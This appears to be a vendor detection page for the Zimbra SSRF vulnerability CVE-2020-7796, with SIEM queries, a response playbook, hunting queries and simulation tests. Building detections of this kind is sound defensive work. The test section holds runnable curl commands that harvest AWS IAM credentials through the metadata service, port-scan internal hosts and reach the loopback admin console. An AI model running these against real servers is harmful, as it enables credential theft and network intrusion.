Zimbra Collaboration Suite SSRF Exploitation (CVE-2020-7796)
Detects exploitation attempts targeting CVE-2020-7796, a Server-Side Request Forgery (SSRF) vulnerability in Synacor Zimbra Collaboration Suite (ZCS). This vulnerability allows unauthenticated remote attackers to make the Zimbra server issue arbitrary HTTP requests to internal or external resources, potentially enabling internal network scanning, credential theft, or pivoting to internal services.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- Synacor
- Product
- Zimbra Collaboration Suite
Weakness (CWE)
Timeline
- Disclosed
- February 17, 2026
References & Proof of Concept
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
What is CVE-2020-7796 Zimbra Collaboration Suite SSRF Exploitation (CVE-2020-7796)?
Zimbra Collaboration Suite SSRF Exploitation (CVE-2020-7796) (CVE-2020-7796) maps to the Reconnaissance and Discovery and Lateral Movement tactics — the adversary is trying to gather information they can use to plan future operations in MITRE ATT&CK.
This page provides production-ready detection logic for Zimbra Collaboration Suite SSRF Exploitation (CVE-2020-7796), covering the data sources and telemetry it touches: IIS Web Logs, Common Security Log, Proxy Logs, Network Flow Logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
union isfuzzy=true
(
W3CIISLog
| where csUriStem has_any ("/zimlet/", "/service/proxy", "/service/extension/zimbrabackup", "/Microsoft-Server-ActiveSync")
| where csUriQuery has_any ("target=", "host=", "url=", "backend=", "redirect=")
| where csUriQuery matches regex @"(?i)(target|host|url|backend|redirect)=https?://"
| extend SuspiciousTarget = extract(@"(?i)(?:target|host|url|backend|redirect)=([^&\s]+)", 1, csUriQuery)
| where SuspiciousTarget matches regex @"(?i)(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|localhost|127\.0\.0\.1|::1|metadata\.google|metadata\.internal|169\.254\.169\.254)"
| project TimeGenerated, cIP, csHost, csMethod, csUriStem, csUriQuery, scStatus, SuspiciousTarget, Computer
)
,
(
CommonSecurityLog
| where DeviceVendor has_any ("Zimbra", "Synacor")
| where RequestURL has_any ("/service/proxy", "/zimlet/", "/service/extension")
| where RequestURL has_any ("target=", "host=", "url=")
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, DeviceVendor, DeviceProduct, Activity
)
| extend AccountName = coalesce(csHost, DestinationIP)
| summarize RequestCount = count(), UniqueTargets = dcount(SuspiciousTarget), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by SourceIP = coalesce(cIP, SourceIP), AccountName
| where RequestCount >= 1
| extend RiskScore = case(RequestCount > 20, "High", RequestCount > 5, "Medium", "Low")
| project FirstSeen, LastSeen, SourceIP, AccountName, RequestCount, UniqueTargets, RiskScore Detects SSRF exploitation attempts against Zimbra Collaboration Suite by identifying HTTP requests to known SSRF-vulnerable endpoints with internal network targets or metadata service URLs in query parameters.
Data Sources
Required Tables
False Positives
- Legitimate Zimbra administrative proxying operations using the /service/proxy endpoint
- Security scanner or vulnerability assessment tools performing authorized testing against Zimbra
- Zimbra internal health checks or calendar/mail federation that involve URL parameters
Sigma rule & cross-platform mapping
The detection logic for Zimbra Collaboration Suite SSRF Exploitation (CVE-2020-7796) (CVE-2020-7796) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2020-7796
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Zimbra SSRF via /service/proxy to Internal Metadata Service
Expected signal: HTTP GET request to /service/proxy with target parameter set to 169.254.169.254 visible in Zimbra access logs; outbound network connection from Zimbra server to 169.254.169.254:80 visible in network flow data
- Test 2Zimbra SSRF Internal Port Scan via /service/proxy
Expected signal: Multiple sequential requests to /service/proxy with varying port numbers in the target parameter; outbound connections from Zimbra host to internal IP across multiple ports within a short time window
- Test 3Zimbra SSRF to Internal Admin Interface via /zimlet/ Endpoint
Expected signal: HTTP GET to /zimlet/ endpoint with backend parameter containing 127.0.0.1 and internal admin port 7071; loopback connection attempt from Zimbra process visible in netstat/ss output or network telemetry
- Test 4Zimbra SSRF Credential Harvest via AWS EC2 Metadata
Expected signal: Two sequential requests to /service/proxy with IMDSv1 paths in target parameter; successful 200 response containing JSON with AccessKeyId, SecretAccessKey, and Token fields if running on AWS EC2 without IMDSv2 enforcement
Response Playbook
Triage
- Identify the source IP initiating the SSRF request and determine if it is a known internal asset, external IP, or Tor/VPN exit node by cross-referencing threat intelligence feeds.
- Extract the SSRF target URL from the request query string and classify the target: cloud metadata service (169.254.169.254), loopback/localhost, RFC1918 internal network, or external attacker-controlled host.
- Review Zimbra access logs for the source IP in the 24 hours preceding the alert to determine if this is the first request or part of a sustained reconnaissance campaign.
- Check whether the Zimbra server has outbound firewall rules restricting connections to internal network ranges and metadata services — a successful SSRF requires an outbound connection to be possible.
- Correlate the source IP with authentication logs to determine if the attacker has an authenticated session or is exploiting the vulnerability unauthenticated.
Containment
- Immediately block the source IP at the perimeter firewall or WAF and revoke any active Zimbra sessions originating from that IP using the Zimbra admin console (Admin > Active Sessions).
- Apply WAF rules to block requests to /service/proxy, /zimlet/, and /service/extension/ endpoints containing URL-encoded or plaintext redirect/target/host/url parameters pointing to internal RFC1918, loopback, or metadata service addresses.
- Implement outbound egress filtering on the Zimbra host to prevent the server from initiating connections to 169.254.169.254, 127.0.0.1, and RFC1918 ranges except for explicitly required mail routing destinations.
Evidence Collection
- Preserve full Zimbra access logs (/opt/zimbra/log/access.log and /opt/zimbra/log/zimbra.log) covering the attack window, ensuring log rotation does not destroy evidence before acquisition.
- Capture network flow records (NetFlow/IPFIX or packet captures) from the Zimbra host's network interface for the attack time window to confirm whether SSRF-initiated outbound connections succeeded and what data may have been exfiltrated.
- Export the Zimbra server's running process list, open network connections (ss -tulpn), and environment variables at the time of containment to detect any persistence mechanisms or credential harvesting that may have followed a successful SSRF.
Escalation Criteria
- ! Escalate to incident response if the SSRF target is the cloud instance metadata service (169.254.169.254) and HTTP status 200 responses are observed, indicating potential IAM credential theft.
- ! Escalate immediately if post-exploitation indicators are detected such as new admin accounts created in Zimbra, configuration changes, or outbound connections to attacker-controlled C2 infrastructure following the SSRF activity.
Investigation Guide
Forensic Artifacts
- >
Zimbra access log entries (/opt/zimbra/log/access.log) containing /service/proxy or /zimlet/ requests with target/host/url/backend parameters referencing internal addresses - >
Network flow records showing outbound connections from the Zimbra server to RFC1918 ranges, loopback, or 169.254.169.254 initiated within milliseconds of the inbound HTTP request - >
Zimbra mailbox server logs showing unexpected inter-process communication or unusual Java process network activity - >
WAF or reverse proxy logs capturing the raw HTTP request including all query parameters and response codes to confirm exploitation success
Tuning Guidance
Start with a high-sensitivity deployment targeting all /service/proxy and /zimlet/ requests with URL parameters, then reduce false positives by whitelisting known legitimate Zimbra federation partner IP ranges and approved internal proxy targets. If your Zimbra deployment uses the proxy endpoint for calendar federation with internal CalDAV servers, add those specific internal IP targets to an allowlist rather than suppressing the entire detection. Monitor the http_status field — a 200 response to an SSRF attempt is significantly higher severity than a 403 or 500, and warrants immediate escalation. Tune the internal network regex patterns to match your specific RFC1918 allocation to avoid over-triggering on public IP ranges that happen to start with similar octets.
Hunting Queries
Broad 30-day hunt across Zimbra web logs to identify any historical SSRF attempts that may not have been alerted, revealing the full scope of reconnaissance activity and whether exploitation preceded the detection window.
W3CIISLog
| where TimeGenerated > ago(30d)
| where csUriStem has_any ("/service/proxy", "/zimlet/", "/service/extension/")
| where csUriQuery has_any ("target=", "host=", "url=", "backend=", "redirect=")
| extend PotentialSSRFTarget = extract(@"(?i)(?:target|host|url|backend|redirect)=([^&\s]+)", 1, csUriQuery)
| where isnotempty(PotentialSSRFTarget)
| summarize RequestCount = count(), UniqueSourceIPs = dcount(cIP), UniqueTargets = make_set(PotentialSSRFTarget, 20) by bin(TimeGenerated, 1h), csHost
| order by RequestCount desc index=web (uri_path="/service/proxy*" OR uri_path="/zimlet/*" OR uri_path="/service/extension/*") (uri_query="*target=*" OR uri_query="*host=http*" OR uri_query="*url=http*") earliest=-30d
| rex field=uri_query "(?i)(?:target|host|url|backend|redirect)=(?<ssrf_target>[^&\s]+)"
| where isnotnull(ssrf_target)
| timechart span=1h count by ssrf_target limit=10 Atomic Red Team Tests
Simulates an attacker exploiting CVE-2020-7796 to send a forged request from the Zimbra server to the cloud instance metadata service endpoint to harvest IAM credentials.
Command
curl -sk 'http://ZIMBRA_HOST/service/proxy?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/' -H 'Host: ZIMBRA_HOST' -v 2>&1 | tee /tmp/zimbra_ssrf_metadata_test.txt Cleanup
rm -f /tmp/zimbra_ssrf_metadata_test.txt Expected Telemetry
HTTP GET request to /service/proxy with target parameter set to 169.254.169.254 visible in Zimbra access logs; outbound network connection from Zimbra server to 169.254.169.254:80 visible in network flow data
Expected Detection
Alert triggered on detection of /service/proxy request with target=http://169.254.169.254 matching internal metadata service pattern
Simulates attacker using Zimbra as a proxy to enumerate open ports on an internal host, a common post-SSRF reconnaissance technique.
Command
for port in 22 80 443 8080 8443 3306 5432 6379 27017 9200; do echo "Testing port $port:"; curl -sk --max-time 3 "http://ZIMBRA_HOST/service/proxy?target=http://192.168.1.1:${port}/" -o /dev/null -w "%{http_code}\n"; done 2>&1 | tee /tmp/zimbra_ssrf_portscan.txt Cleanup
rm -f /tmp/zimbra_ssrf_portscan.txt Expected Telemetry
Multiple sequential requests to /service/proxy with varying port numbers in the target parameter; outbound connections from Zimbra host to internal IP across multiple ports within a short time window
Expected Detection
Detection fires on first internal-targeting SSRF request; volume-based rule may trigger on the rapid sequential requests across multiple ports
Tests SSRF via the /zimlet/ endpoint to access an internal administrative web interface not exposed externally, simulating lateral movement enablement.
Command
curl -sk 'http://ZIMBRA_HOST/zimlet/com_zimbra_proxy_config/config?backend=http://127.0.0.1:7071/zimbraAdmin/' -H 'Host: ZIMBRA_HOST' -v 2>&1 | tee /tmp/zimbra_ssrf_admin_test.txt Cleanup
rm -f /tmp/zimbra_ssrf_admin_test.txt Expected Telemetry
HTTP GET to /zimlet/ endpoint with backend parameter containing 127.0.0.1 and internal admin port 7071; loopback connection attempt from Zimbra process visible in netstat/ss output or network telemetry
Expected Detection
Alert triggered on /zimlet/ request containing backend=http://127.0.0.1 matching loopback SSRF pattern
Simulates attacker exploiting Zimbra SSRF to steal AWS EC2 instance credentials from the IMDSv1 metadata endpoint, a critical impact scenario for cloud-hosted Zimbra deployments.
Command
ROLE=$(curl -sk --max-time 5 'http://ZIMBRA_HOST/service/proxy?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/' 2>/dev/null); echo "Role found: $ROLE"; curl -sk --max-time 5 "http://ZIMBRA_HOST/service/proxy?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE}" 2>&1 | tee /tmp/zimbra_ssrf_aws_creds.txt Cleanup
rm -f /tmp/zimbra_ssrf_aws_creds.txt Expected Telemetry
Two sequential requests to /service/proxy with IMDSv1 paths in target parameter; successful 200 response containing JSON with AccessKeyId, SecretAccessKey, and Token fields if running on AWS EC2 without IMDSv2 enforcement
Expected Detection
Detection fires on first metadata service SSRF request; CSPM or AWS CloudTrail may additionally alert on credential use from an unexpected IP if attacker extracts and uses the credentials